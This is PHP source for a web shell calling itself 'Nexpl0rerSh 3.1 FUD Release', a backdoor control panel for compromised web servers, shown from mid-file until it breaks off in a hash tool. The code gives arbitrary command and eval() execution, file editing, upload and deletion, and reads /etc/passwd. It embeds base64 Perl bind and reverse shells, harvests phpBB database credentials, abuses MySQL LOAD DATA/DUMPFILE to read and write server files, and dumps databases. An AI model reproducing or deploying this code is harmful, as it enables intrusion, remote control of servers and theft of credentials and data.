if ($_POST['mode'] == "") $_POST['mode'] = "ls";\xaif ($_POST['mode'] == "ls") {\xa//Directory listing
$output .= "<br /><br />Directory listing [ {$dir} ]<br /><div align=left>";
$output .= '<table width="100%" border="0" cellspacing="0" cellpadding="0">\xa <tr>
<td style="border-bottom:#FFFFFF 1px solid;" width="10%">perms</td>\xa <td style="border-bottom:#FFFFFF 1px solid;" width="5%"> </td>\xa <td style="border-bottom:#FFFFFF 1px solid;" width="50%">name</td>\xa <td style="border-bottom:#FFFFFF 1px solid;" width="20%">owner/group</td>
<td style="border-bottom:#FFFFFF 1px solid;" width="15%">actions</td>\xa </tr>';
$opendir = opendir($dir)or print("<font color=red>Can't open directory</font>");\xa$i = 1;
while ($file=readdir($opendir)){\xa$color = "#333333";
$icons = array(\xa"txt" => "ext_txt",\xa"ini" => "ext_txt",\xa"sql" => "ext_txt",
"php" => "ext_php",\xa"pl" => "ext_pl",
"html" => "ext_html", "htm" => "ext_html",\xa"mp3" => "ext_mp3",\xa"swf" => "ext_swf",\xa"rar" => "ext_tar",\xa"zip" => "ext_tar",
"tar" => "ext_tar",
"gz" => "ext_tar",
"bz" => "ext_tar",\xa"exe" => "ext_exe",\xa"jpg" => "ext_jpg", "png" => "ext_jpg", "gif" => "ext_jpg");
\xa if ($dir == realpath(".")) {\xa\x9\x9if (is_file($file)){
\x9\x9 \xa\x9\x9 $ext = array_pop(explode(".",$file));\xa\x9\x9\x9if (array_key_exists($ext, $icons)) $icon = $icons[$ext];\xa\x9\x9 else $icon = "small_unk";
\x9
\x9 if (function_exists("posix_getpwuid")) {\xa \x9$uid = posix_getpwuid(fileowner($file));\xa \x9 $gr00p = posix_getgrgid(filegroup($file));\xa \x9 $owner = $uid[name]."/".$gr00p[name]; }
\x9else\xa \x9\x9{
\x9\x9$owner = fileowner($file)."/".filegroup($file);\xa\x9\x9\x9}
\x9 $perms = fileperms($file);\xa\x9 $info = getperms($perms);\xa\x9 if (!is_readable($file)) $info = "<font color=red>{$info}</font>";\xa\x9 \x9elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>";
\x9 else $info = "<font color=green>{$info}</font>";\xa\x9 $output.= ' <tr style="background-color:'.$color.';">\xa <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td>\xa <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?act=img&img='.$icon.'" /></td>
<td style="border-bottom:#FFFFFF 1px solid;">'.$file.'</td>
\x9<td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td>\xa <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.fedit.modfile.value=\''.$file.'\';document.fedit.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=change" border=0 /></a> - <a class="link" href="javascript:document.delfile.delfile.value=\''.$file.'\';document.delfile.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=delete" border=0 /></a></td>\xa </tr>';
\x9\x9 \xa }
\x9\x9else
{ \xa\x9 \xa \x9\x9if (function_exists("posix_getpwuid")) {
\x9 \x9$uid = posix_getpwuid(fileowner($file));\xa \x9 $gr00p = posix_getgrgid(filegroup($file));\xa\x9 $owner = $uid[name]."/".$gr00p[name]; }
\x9\x9else
\x9\x9 {\xa \x9 $owner = fileowner($file)."/".filegroup($file);\xa \x9 }\xa\x9 $perms = fileperms($file);
$info = getperms($perms);\xa \x9if (!is_readable($file)) $info = "<font color=red>{$info}</font>";\xa\x9\x9\x9elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>";\xa \x9\x9else $info = "<font color=green>{$info}</font>";\xa \x9
\x9\x9\x9$output.= ' <tr style="background-color:'.$color.';">
<td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td>\xa <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=folder" /></td>';\xa\x9 $output .= '<td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">'.$file.'</a></td>
<td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td>
<td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">Go</a></td>
</tr>';\xa \xa \x9}\xa\x9}\xa else
{\xa\x9\x9chdir($dir);
\x9\x9if (is_file($file)){\xa\x9\x9\x9$ext = array_pop(explode(".",$file));\xa\x9 if (array_key_exists($ext, $icons)) $icon = $icons[$ext];\xa \x9\x9else $icon = "small_unk";\xa \x9\xa\x9 \x9if (function_exists("posix_getpwuid")) {\xa \x9\x9$uid = posix_getpwuid(fileowner($file));
\x9 $gr00p = posix_getgrgid(filegroup($file));\xa \x9 $owner = $uid[name]."/".$gr00p[name]; }\xa\x9\x9 else
\x9 {\xa\x9 $owner = fileowner($file)."/".filegroup($file);\xa\x9 }\xa $perms = fileperms($file);\xa \x9$info = getperms($perms);
if (!is_readable($file)) $info = "<font color=red>{$info}</font>";
\x9 elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>";
\x9else $info = "<font color=green>{$info}</font>";
\x9$output.= ' <tr style="background-color:'.$color.';">\xa <td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td>
<td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img='.$icon.'" /></td>\xa <td style="border-bottom:#FFFFFF 1px solid;">'.$file.'</td>\xa\x9<td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td>\xa <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.fedit.modfile.value=\''.$file.'\';document.fedit.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=change" border=0 /></a> - <a class="link" href="javascript:document.delfile.delfile.value=\''.$file.'\';document.delfile.submit();"><img src="'.$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=delete" border=0 /></a></td>
</tr>';\xa\x9\x9}
\x9else\xa\x9\x9{
\x9 if (function_exists("posix_getpwuid")) {
\x9$uid = posix_getpwuid(fileowner($file));
\x9\x9$gr00p = posix_getgrgid(filegroup($file));\xa\x9 \x9$owner = $uid[name]."/".$gr00p[name]; }
\x9\x9 else
\x9\x9\x9{
\x9\x9$owner = fileowner($file)."/".filegroup($file);\xa\x9 }
\x9\x9$perms = fileperms($file);\xa \x9 $info = getperms($perms);\xa\x9\x9 if (!is_readable($file)) $info = "<font color=red>{$info}</font>";
\x9\x9 elseif (!is_writable($file)) $info = "<font color=white>{$info}</font>";
\x9\x9\x9else $info = "<font color=green>{$info}</font>";\xa \x9 $output.= ' <tr style="background-color:'.$color.';">
<td style="border-bottom:#FFFFFF 1px solid;">'.$info.'</td>\xa <td style="border-bottom:#FFFFFF 1px solid;" align="right"><img src="http://'.getenv("HTTP_HOST").$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'].'&act=img&img=folder" /></td>
<td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">'.$file.'</a></td>\xa\x9<td style="border-bottom:#FFFFFF 1px solid;">'.$owner.'</td>\xa <td style="border-bottom:#FFFFFF 1px solid;"><a class="link" href="javascript:document.folder.dir.value=\''.addslashes(realpath($file)).'\';document.folder.submit();">Go</a></td>
</tr>';
\x9 \xa \x9}\xa\x9}\xa$i++;
}\xa$output .= "</div>";\xa}\xa//Editing file...
if ($_POST['mode']=="edit") {
($dir==realpath(".")) ? $file=$_POST['modfile'] : $file=$dir.$_POST['modfile'];\xa$content = file_get_contents($file);\xaif ($_POST[modfile]=="config.php") {
include($file);\xa$link = "javascript:var form=document.sqlpanel; form.user.value='".addslashes($dbuser).\xa\x9\x9"';form.pass.value='".addslashes($dbpasswd)."';form.host.value='".addslashes($dbhost).\xa\x9 "';form.dbname.value='".addslashes($dbname)."';document.sqlpanel.submit();";
$output .= "phpBB config file detected! click <a class=\"link\" href=\"$link\">here</a> to connect<br />";\xa}\xa$output .= "<form action=# method=post><input type=hidden name=mode value=doedit><input type=hidden name=modfile value='".$_POST['modfile']."'>
<textarea rows=30 cols=100 name=newtext>".htmlspecialchars($content)."</textarea><br /><input type=submit value=edit></form>";\xa}
if ($_POST['mode']=="doedit") {\xa($dir==realpath(".")) ? $file=$_POST['modfile'] : $file=$dir.$_POST['modfile'];\xa$output .= $file."<br />";
$fh = fopen($file, "w+")or die("<font color=red>Error: cannot open file</font>");
$_POST['newtext'] = (ini_get("magic_quotes_gpc")) ? stripslashes($_POST['newtext']) : $_POST['newtext'];
fwrite($fh, $_POST['newtext'])or die("<font color=red>Error: cannot write to file</font>");
fclose($fh);\xa$output .= "Done.";\xa}
//Making file..\xaif ($_POST['mode'] == "mkfile") {
($dir==realpath(".")) ? $file=$_POST['mkfile'] : $file=$dir.$_POST['mkfile'];
$output .= "<form action=# method=post><input type=hidden name=mode value=domkfile><input type=hidden name=mkfile value='".$_POST['mkfile']."'>\xa<textarea rows=30 cols=100 name=text></textarea><br /><input type=submit value=make></form>";
}\xaif ($_POST['mode'] == "domkfile") {
($dir==realpath(".")) ? $file=$_POST['mkfile'] : $file=$dir.$_POST['mkfile'];
$fh = fopen($file, "w+")or die("<font color=red>Error: cannot create file</font>");
$_POST['text'] = (ini_get("magic_quotes_gpc")) ? stripslashes($_POST['text']) : $_POST['text'];
fwrite($fh, $_POST['text'])or die("<font color=red>Error: cannot write to file</font>");\xafclose($fh);
$output .= "Made.";\xa}
//Deleting file..
if ($_POST['mode'] == "delfile") {\xa($dir==realpath(".")) ? $file=$_POST['delfile'] : $file=$dir.$_POST['delfile'];
unlink($file)or die("<font color=red>Error: cannot delete file</font>");\xa$output .= "File deleted.";
}\xa// cmd...\xaif ($_POST['mode'] == "cmd") {\xa/*switch ($_POST['func']) {\xacase "system":\xa\x9system(stripslashes($_POST['cmd']));\xa die();
break;\xa\x9case "popen":
$handle = popen($_POST['cmd'].' 2>&1', 'r');\xa\x9echo "'$handle'; " . gettype($handle) . "\n";\xa $read = fread($handle, 2096);
\x9echo $read;
\x9pclose($handle);
die();\xa break;\xa\x9case "shell_exec":
shell_exec(stripslashes($_POST['cmd']));\xa die();
\xa\x9break;\xa case "exec":
exec(stripslashes($_POST['cmd']));\xa\x9die();\xa\x9break;\xa case "passthru":
passthru(stripslashes($_POST['cmd']));
die();
break;}*/\xa chdir($dir);\xa $res = exa(stripslashes($_POST[cmd]));\xa\x9$output = $res;
}\xa// upload\xaif ($_POST['mode'] == "upload2") {\xa$percorso = $_FILES['myfile']['tmp_name'];
$nome = $_FILES['myfile']['name'];
if (!move_uploaded_file($percorso, $dir.$nome))\xa{\xa$output = "<font color=red>Cannot upload</font>";
}\xaelse { $output .= "<br><br>$nome Has Been Saved!";}\xa}
// rename
if ($_POST['mode'] == "renfile") {
if(!rename($dir.$_POST['oldname'], $dir.$_POST['newname'])) $output = "<font color=red>Cannot rename file</font>";\xaelse $output = "File renamed.";\xa}\xa// Bind port
if ($_POST['mode'] == "bind") {\xachdir($dir);\xa$os = substr(strtoupper(PHP_OS),0,3);\xa$port = 31337;\xa$txt = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0OyANCnVzZSBGaWxlSGFuZGxlOyAjIHBlciBsJ2F1dG9mbHVzaA0KJG1heF9jb25uPTEwOw0KJHBvcnRhX2xvY2FsZT0kQVJHVlswXTsNCiRzeXMgPSAkQVJHVlsxXTsNCmlmICgkc3lzIGVxICJMSU4iKSB7ICRjbWQgPSAiL2Jpbi9iYXNoIjsgfQ0KaWYgKCRzeXMgZXEgIldJTiIpIHsgJGNtZCA9ICJDOlxcd2luZG93c1xcc3lzdGVtMzJcXGNtZC5leGUiOyB9DQokcGFkZHJfbG9jYWxlPXBhY2tfc29ja2FkZHJfaW4oJHBvcnRhX2xvY2FsZSxJTkFERFJfQU5ZKTsNCnNvY2tldChTRVJWLEFGX0lORVQsU09DS19TVFJFQU0sJ3RjcCcpIHx8IGRpZSgiRXJyb3JlOiAkISIpOyAgI3NlcnZlci1zb2NrZXQNCnNldHNvY2tvcHQoU0VSVixTT0xfU09DS0VULFNPX1JFVVNFQUREUiwxKSB8fCBkaWUoIkVycm9yZTogJCEiKTsNCmJpbmQoU0VSViwkcGFkZHJfbG9jYWxlKSB8fCBkaWUoIkVycm9yZTogJCEiKTsNCmxpc3RlbihTRVJWLCRtYXhfY29ubikgfHwgZGllKCJFcnJvcmU6ICQhIik7DQpteSAkcGFkZHJfc2luZz1hY2NlcHQoU0lORywgU0VSVik7ICNhY2NldHRvIGxhIGNvbm5lc3Npb25lIGRhbCBjbGllbnQNCm15KCRzaW5nX3BvcnRhLCRzaW5nX2FkZHIsJGdldCk9dW5wYWNrX3NvY2thZGRyX2luKCRwYWRkcl9zaW5nKTsNClNJTkctPmF1dG9mbHVzaCgpOw0Kb3BlbihTVERJTiwgIj4mU0lORyIpOw0Kb3BlbihTVERPVVQsIj4mU0lORyIpOw0Kb3BlbihTVERFUlIsIj4mU0lORyIpOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgCS09IEJpbmQgU2hlbGwgQmFja2Rvb3IgPS0JXG4iOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgRGV0ZWN0ZWQgc2hlbGw6ICRjbWQJCVxuIjsNCnByaW50ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCmV4ZWMoJGNtZCk7DQpjbG9zZShTSU5HKTs=");
fwrite(fopen("bind.pl", "w+"), $txt);\xaexa("perl bind.pl ".$port." ".$os); \xaunlink("bind.pl");\xa}
// Reverse c0nn\xaif ($_POST['mode'] == "reverse") {
chdir($dir);\xa$os = substr(strtoupper(PHP_OS),0,3);\xa$txt = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gJEFSR1ZbMV07DQokc3lzID0gJEFSR1ZbMl07DQoNCiAgICBpZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiWyFdIFVzZTogcmV2ZXJzZS5wbCA8WW91ckhvc3Q+IDxZb3VyUG9ydD4gPHN5c3RlbT5cbiI7DQogIHByaW50ZiAiWypdIE5vdGU6IHN5c3RlbSBjYW4gYmUgTElOIG9yIFdJTiI7DQogIGV4aXQoMSk7DQp9DQppZiAoJHN5cyBlcSAiTElOIikgeyAkY21kID0gIi9iaW4vYmFzaCI7IH0NCmlmICgkc3lzIGVxICJXSU4iKSB7ICRjbWQgPSAiQzpcXFdpbmRvd3NcXHN5c3RlbTMyXFxjbWQuZXhlIjsgfQ0KcHJpbnQgIlsrXSBDb25uZWN0aW5nLi4uIFskaG9zdF1cbiI7DQokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyB1IGNhbiBjaGFuZ2UgdGhpcw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90KSB8fCBkaWUgKCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGllKCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30NCiAgb3BlbihTVERJTiwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERPVVQsIj4mU0VSVkVSIik7DQogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgCS09IFJldmVyc2UgU2hlbGwgQmFja2Rvb3IgPS0JXG4iOw0KcHJpbnQgIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuIjsNCnByaW50ICIgRGV0ZWN0ZWQgc2hlbGw6ICRjbWQJCVxuIjsNCnByaW50ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCmV4ZWMgKCRjbWQpOyA=");
fwrite(fopen("reverse.pl", "w+"), $txt);\xaexa("perl reverse.pl ".$_POST[ip]." ".$_POST[port]." ".$os);\xaunlink("reverse.pl");\xa}\xa// MySQL EXPLOIT read file
if ($_POST['mode'] == "sqlexploit") {\xa$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());\xa$db = mysql_select_db($_COOKIE['mysql_name']);
$path = $_POST['path'];
$query = "CREATE TABLE `nexpl0it` (`path` longtext not null);";
$delete = "DROP TABLE `nexpl0it`;";
$bypass = "LOAD DATA LOCAL INFILE '$path' INTO TABLE nexpl0it;";
$fuck = "SELECT * FROM nexpl0it;";\xa\xa\xamysql_query($delete);\xamysql_query($query);
mysql_query($bypass)or die("Mysql-exploit-error : ".mysql_error());\xa$res = mysql_query($fuck)or die(mysql_error());\xa$txt = "";\xawhile($row = mysql_fetch_array($res)) {
$txt .= $row[path]."\n";\xa}\xa$output = "<form action=# method=POST><input type=hidden name=mode value=sqlwritefile>File : <b><input type=text name=path value='$path'>
<input type=submit value=Save> </b><br /><br />\xa<textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt)."</textarea></form>";
}
// MySQL EXPLOIT write
if ($_POST['mode'] == "sqlwritefile") {\xa$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());\xa$db = mysql_select_db($_COOKIE['mysql_name']);\xa$path = $_POST['path'];
$content = $_POST['newtext'];
$txt = bin2hex($content);\xa$query = "SELECT 0x{$txt} INTO DUMPFILE '$path';";\xa$res = mysql_query($query)or die(mysql_error());\xa$output = $path." saved!";\xa}
\xa// MySQL Login\xaif ($_POST['mode'] == "loginsql") {
setcookie("mysql_user", $_POST['user']);
setcookie("mysql_pass",$_POST['pass']);\xasetcookie("mysql_host",$_POST['host']);
setcookie("mysql_name",$_POST['dbname']);
$link = mysql_connect($_POST['host'], $_POST['user'], $_POST['pass'])or die(mysql_error());
$db = mysql_select_db($_POST['dbname']);
$output = '<table width="100%" border=0><tr><td><form id="table" name="table" method="post" action="#"><input type=hidden name=mode value=sql_query />
\xa <input name="query" type="text" id="query" size="50" value="SELECT * FROM table_name" />\xa <input type="submit" name="Submit" value="Query" />
</form><form action=# method=post><input type=hidden name=mode value=dump_db><input name=dbname type=text value="'.$_POST[dbname].'" size="30">\xa<input type=submit value=DumpDb></form></td><td align=left>
<b>:: MySQL Exploit ::</b><br />\xa<form action=# method=post><input type=hidden name=mode value=sqlexploit>Edit file: <input name=path type=text value="absolute path">
<input type=submit value="Read/Edit"></form>
\xa</td></tr></table>\xa
<table width="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width=30%>
<table width="100%" border="1" cellspacing="0" cellpadding="0">\xa
</tr>
<tr>
<td><center>--[ Table List ]--</center> </td>
</tr>';\xa $q = mysql_query("SHOW TABLES")or die(mysql_error());
while ($table = mysql_fetch_array($q)) {\xa$output .= '<tr>
<td><center><a class="link" href="javascript:document.table.query.value=\'SELECT * FROM '.$table[0].'\';document.table.submit();">'.$table[0].'</a></center></td>
</tr>';\xa
}
\xa $output .= '
</table></td>
<td width="70%">\xa</td>
</tr>\xa</table>\xa';
}
// MySQL Query\xaif ($_POST['mode'] == "sql_query") {
$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());
$db = mysql_select_db($_COOKIE['mysql_name']);
(isset($_POST['dbname'])) ? mysql_select_db($_POST['dbname']) : print "";\xa$query = mysql_query(urldecode(stripslashes($_POST['query'])))or die("Error query: <b>{".stripslashes($_POST[query])."}</b> mysql says:".mysql_error());
$pars = array_keys(mysql_fetch_array($query));
$npars = count($pars);
$qwords = explode(" ", $_POST['query']);\xaglobal $select, $table_name;\xaif (strtolower($qwords[0]) == "select") {
\x9$select = TRUE;\xa $nqw = count($qwords);
\x9for($i=0;$i<$nqw;$i++) {\xa\x9 if (strtolower($qwords[$i]) == "from") {\xa\x9 \x9$table_name = $qwords[$i+1];\xa\x9 \x9break;
}
\x9}\xa}
$parz = $pars;\xa$p4rz = $parz;
$output .= '<form id="table" name="table" method="post" action="#"><input type=hidden name=mode value=sql_query />\xa
<input name="query" type="text" id="query" size="50" value="SELECT * FROM table_name" />\xa <input type="submit" name="Submit" value="Query" />\xa</form><form action=# method=post><input type=hidden name=mode value=dump_db><input name=dbname type=text value="'.$_COOKIE[mysql_name].'" size="30">
<input type=submit value=DumpDb></form><form name="update" method=post action=#><input type=hidden name=mode value=update><input type=hidden name=conditions><input type=hidden name=table></form>\xa
<table width="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width=30% valign=top>\xa<table width="100%" border="1" cellspacing="0" cellpadding="0">
</tr>\xa <tr>\xa <td><center>--[ Table List ]--</center> </td>
</tr>';
$q = mysql_query("SHOW TABLES")or die(mysql_error());
while ($table = mysql_fetch_array($q)) {
$output .= '<tr>\xa <td><center><a class="link" href="javascript:document.table.query.value=\'SELECT * FROM '.$table[0].'\';document.table.submit();">'.$table[0].'</a></center></td>
</tr>';
\xa} \xa
$output .= '\xa</table></td>
\xa<td width="70%" valign="top">\xa<table width="100%" border="1" cellspacing="0" cellpadding="0">
<tr>\xa <td><center>--[ Query Result ]--</center> </td>
</tr>
<tr><td><table cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="1%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr>
';
$output .= '<td> </td>\xa'; \xa\x9foreach($pars as $par) {
$output .= (is_numeric($par) || ($par == "")) ? '' : '<td>'.$par.'</td>
'; }
\x9
$output .= '</tr>'; \xa mysql_data_seek($query, 0);\xa while ($row = mysql_fetch_array($query, MYSQL_ASSOC))
{\xa\x9\xa $w = "";\xa $i = 0;
\x9
foreach ($row as $k=>$v) {$name = mysql_field_name($query,$i); $w .= " `".$name."` = \'".addslashes($v)."\' AND"; $i++;}\xa if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
\x9 if ($table_name == "mybb_users") $w = " uid=\'".$row['uid']."\' ";\xa\x9\x9if ($table_name == "phpbb_users") $w = " user_id=\'".$row['user_id']."\' ";
$output .= '<tr>';
$output .= '<td><a class="link" href="javascript:document.update.conditions.value=\''.urlencode($w).'\';document.update.table.value=\''.$table_name.'\';document.update.submit();"><img src="'.$_SERVER['PHP_SELF'].'?act=img&img=change" border=0 /></a><a class="link" href="javascript:document.table.query.value=\''.urlencode("DELETE FROM `".$table_name."` WHERE".$w."LIMIT 1").'\';document.table.submit();"><img src="'.$_SERVER['PHP_SELF'].'?act=img&img=delete" border=0 /></a></td>
';
foreach ($row as $pardd=>$rowval) {
\xa if (!is_numeric($pardd) && !empty($pardd)) {
if ($row[$pardd] == "") { $output .= '<td><font color=green><b>NULL</b></font></td>'; } else { $output .= '<td>'.$row[$pardd].'</td>';}}\xa
}\xa $output .= '</tr>';\xa}
$output .= '
</table></td>\xa </tr>
</table><hr size="1" noshade><br>';
}
// MySQL Update row
if ($_POST['mode'] == "update") {\xa$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());\xa$db = mysql_select_db($_COOKIE['mysql_name']);
$conditions = urldecode(stripslashes($_POST['conditions']));
$table = $_POST['table'];\xa$select = mysql_query("SELECT * FROM {$table} WHERE{$conditions}LIMIT 1")or die(mysql_error());\xa$output .= '\xa<form id="table" name="table" method="post" action="#"><input type=hidden name=mode value=sql_query />\xa
<input name="query" type="text" id="query" size="50" value="SELECT * FROM table_name" />
<input type="submit" name="Submit" value="Query" />\xa</form><form action=# method=post><input type=hidden name=mode value=dump_db><input name=dbname type=text value="'.$_COOKIE[mysql_name].'" size="30">
<input type=submit value=DumpDb></form><form name="update" method=post action=#><input type=hidden name=mode value=update><input type=hidden name=conditions><input type=hidden name=table></form>
<table width="100%" border="1" cellspacing="0" cellpadding="0">\xa<tr>\xa<td width=30% valign=top>
<table width="100%" border="1" cellspacing="0" cellpadding="0">\xa
</tr>\xa <tr>\xa <td><center>--[ Table List ]--</center> </td>\xa </tr>';\xa $q = mysql_query("SHOW TABLES")or die(mysql_error());\xawhile ($table = mysql_fetch_array($q)) {\xa$output .= '<tr>
<td><center><a class="link" href="javascript:document.table.query.value=\'SELECT * FROM '.$table[0].'\';document.table.submit();">'.$table[0].'</a></center></td>
</tr>';\xa \xa} \xa
$output .= '\xa</table></td>\xa\xa<td width="70%" valign="top">
<table width="100%" border="1" cellspacing="0" cellpadding="0">\xa <tr>\xa <td><center>--[ Query Result ]--</center> </td>\xa </tr>
<tr><td><form action=# method=post>
<input type=hidden name=mode value=update2>\xa<table cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="1%" bgColor=#000000 borderColorLight=#c0c0c0 border=1>\xa';
while ($row = mysql_fetch_array($select, MYSQL_ASSOC)) {\xaforeach ($row as $k=>$v) {\xa\xa$output .= "<tr><td>{$k}</td><td><input type=text name='{$k}' value='{$v}'></td></tr>";
}\xa}\xa$output .='
</table><input type=hidden name=table value="'.$_POST['table'].'"><input type=hidden name=conditions value="'.$_POST['conditions'].'"><input type=submit value=Update></form></td></tr></table></td>\xa </tr>\xa </table>\xa'; \xa}
// MySQL update row 2
if ($_POST['mode'] == "update2") {
$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());
$db = mysql_select_db($_COOKIE['mysql_name']);\xa$conditions = urldecode(stripslashes(stripslashes($_POST['conditions'])));\xa$table = $_POST['table'];
$select = mysql_query("SELECT * FROM {$table} WHERE{$conditions}LIMIT 1")or die("query : SELECT * FROM {$table} WHERE{$conditions}LIMIT 1<br /><br />".mysql_error());\xa$uno = mysql_fetch_array($select, MYSQL_ASSOC);\xa$pars = array_keys($uno);
$query = "UPDATE {$table} SET";
foreach($pars as $fields) {\xa$query .= " {$fields}='{$_POST[$fields]}',";
}\xa$query = substr($query,0,strlen($query)-1);
$query .= " WHERE{$conditions}";\xa$output = "Executed query: {$query} <br /><br />";\xamysql_query($query)or die("QUERY: ".$query."<br /><br /> ERROR:".mysql_error());
}\xa\xa// MySQL Dump\xaif ($_POST['mode'] == "dump_db") {
$dump = "# Dumped by Nexpl0rerSh 3.1 FUD Release \n";
$dump .= "# MySQL version: (".@mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").") \n";\xa$dump .= "# Database: ".$_POST['dbname']."\n";
$dump .= "# ".$_COOKIE['mysql_user'].":".$_COOKIE['mysql_pass']."@".$_COOKIE['mysql_host']."\n";\xa$db = $_POST['dbname'];
setcookie('mysql_name', $db);
$link = mysql_connect($_COOKIE['mysql_host'], $_COOKIE['mysql_user'], $_COOKIE['mysql_pass'])or die(mysql_error());\xa(isset($_POST['dbname'])) ? mysql_select_db($_POST['dbname']) : print "";\xa$q = mysql_query("SHOW TABLES")or die(mysql_error());\xawhile ($table = mysql_fetch_array($q)) {
$dump .= datadump($table[0]);\xa}\xa$file_name = $db."_dump_".date("d_M_Y")."_Nexpl0rer.".sql;
chdir($dir);\xa$fp = fopen($file_name, "w+"); fwrite($fp, $dump); fclose($fp);\xa$output .= 'Dump saved in '.$dir;\xa
}
// MkDir
if ($_POST['mode'] == "mkdir") {\xachdir($dir)or die("Error.");
if (mkdir($_POST['mkdir'])) {\xa$output = "Directory created.";\xa}\xa}\xa// Eval
if ($_POST['mode'] == "eval") {\xachdir($dir);\xaeval(stripslashes($_POST['eval']));
die();
}\xa// phpinfo
if ($_POST['mode']=="phpinfo") {
phpinfo();\xadie();
}\xa// tools\xaif ($_POST['mode']=="tools") {
\x9switch($_POST['nometool']) {
\x9\x9//passwd\xa\x9\x9case 'passwd':
if (!($txt = file_get_contents("/etc/passwd"))) {
\x9\x9 \x9$output = "Cannot open /etc/passwd";\xa\x9 } else {\xa\x9 \x9\x9$output = nl2br($txt);
\x9} \xa \x9break;\xa\x9\x9\xa \x9//encoder\xa\x9 case 'encoder':
\x9\x9\x9$output = "
\x9\x9<center>\xa \x9\x9<form action=# method=post><input type=hidden name=mode value=tools>\xa <input type=hidden name=nometool value=encoder>
\x9\x9\x9<textarea name=\"plain\" cols=50 rows=5>".$_POST[plain]."</textarea>
\x9 <br><br>
\x9 <input type=submit value=\"calculate\"><br><br>
\x9 </center>\xa\x9 \x9<b>Hashes</b>:<br>
\x9 <center>md5 -
\x9 <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".md5($_POST[plain])."\" readonly>
\x9\x9 <br>crypt - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".crypt($_POST[plain])."\" readonly>
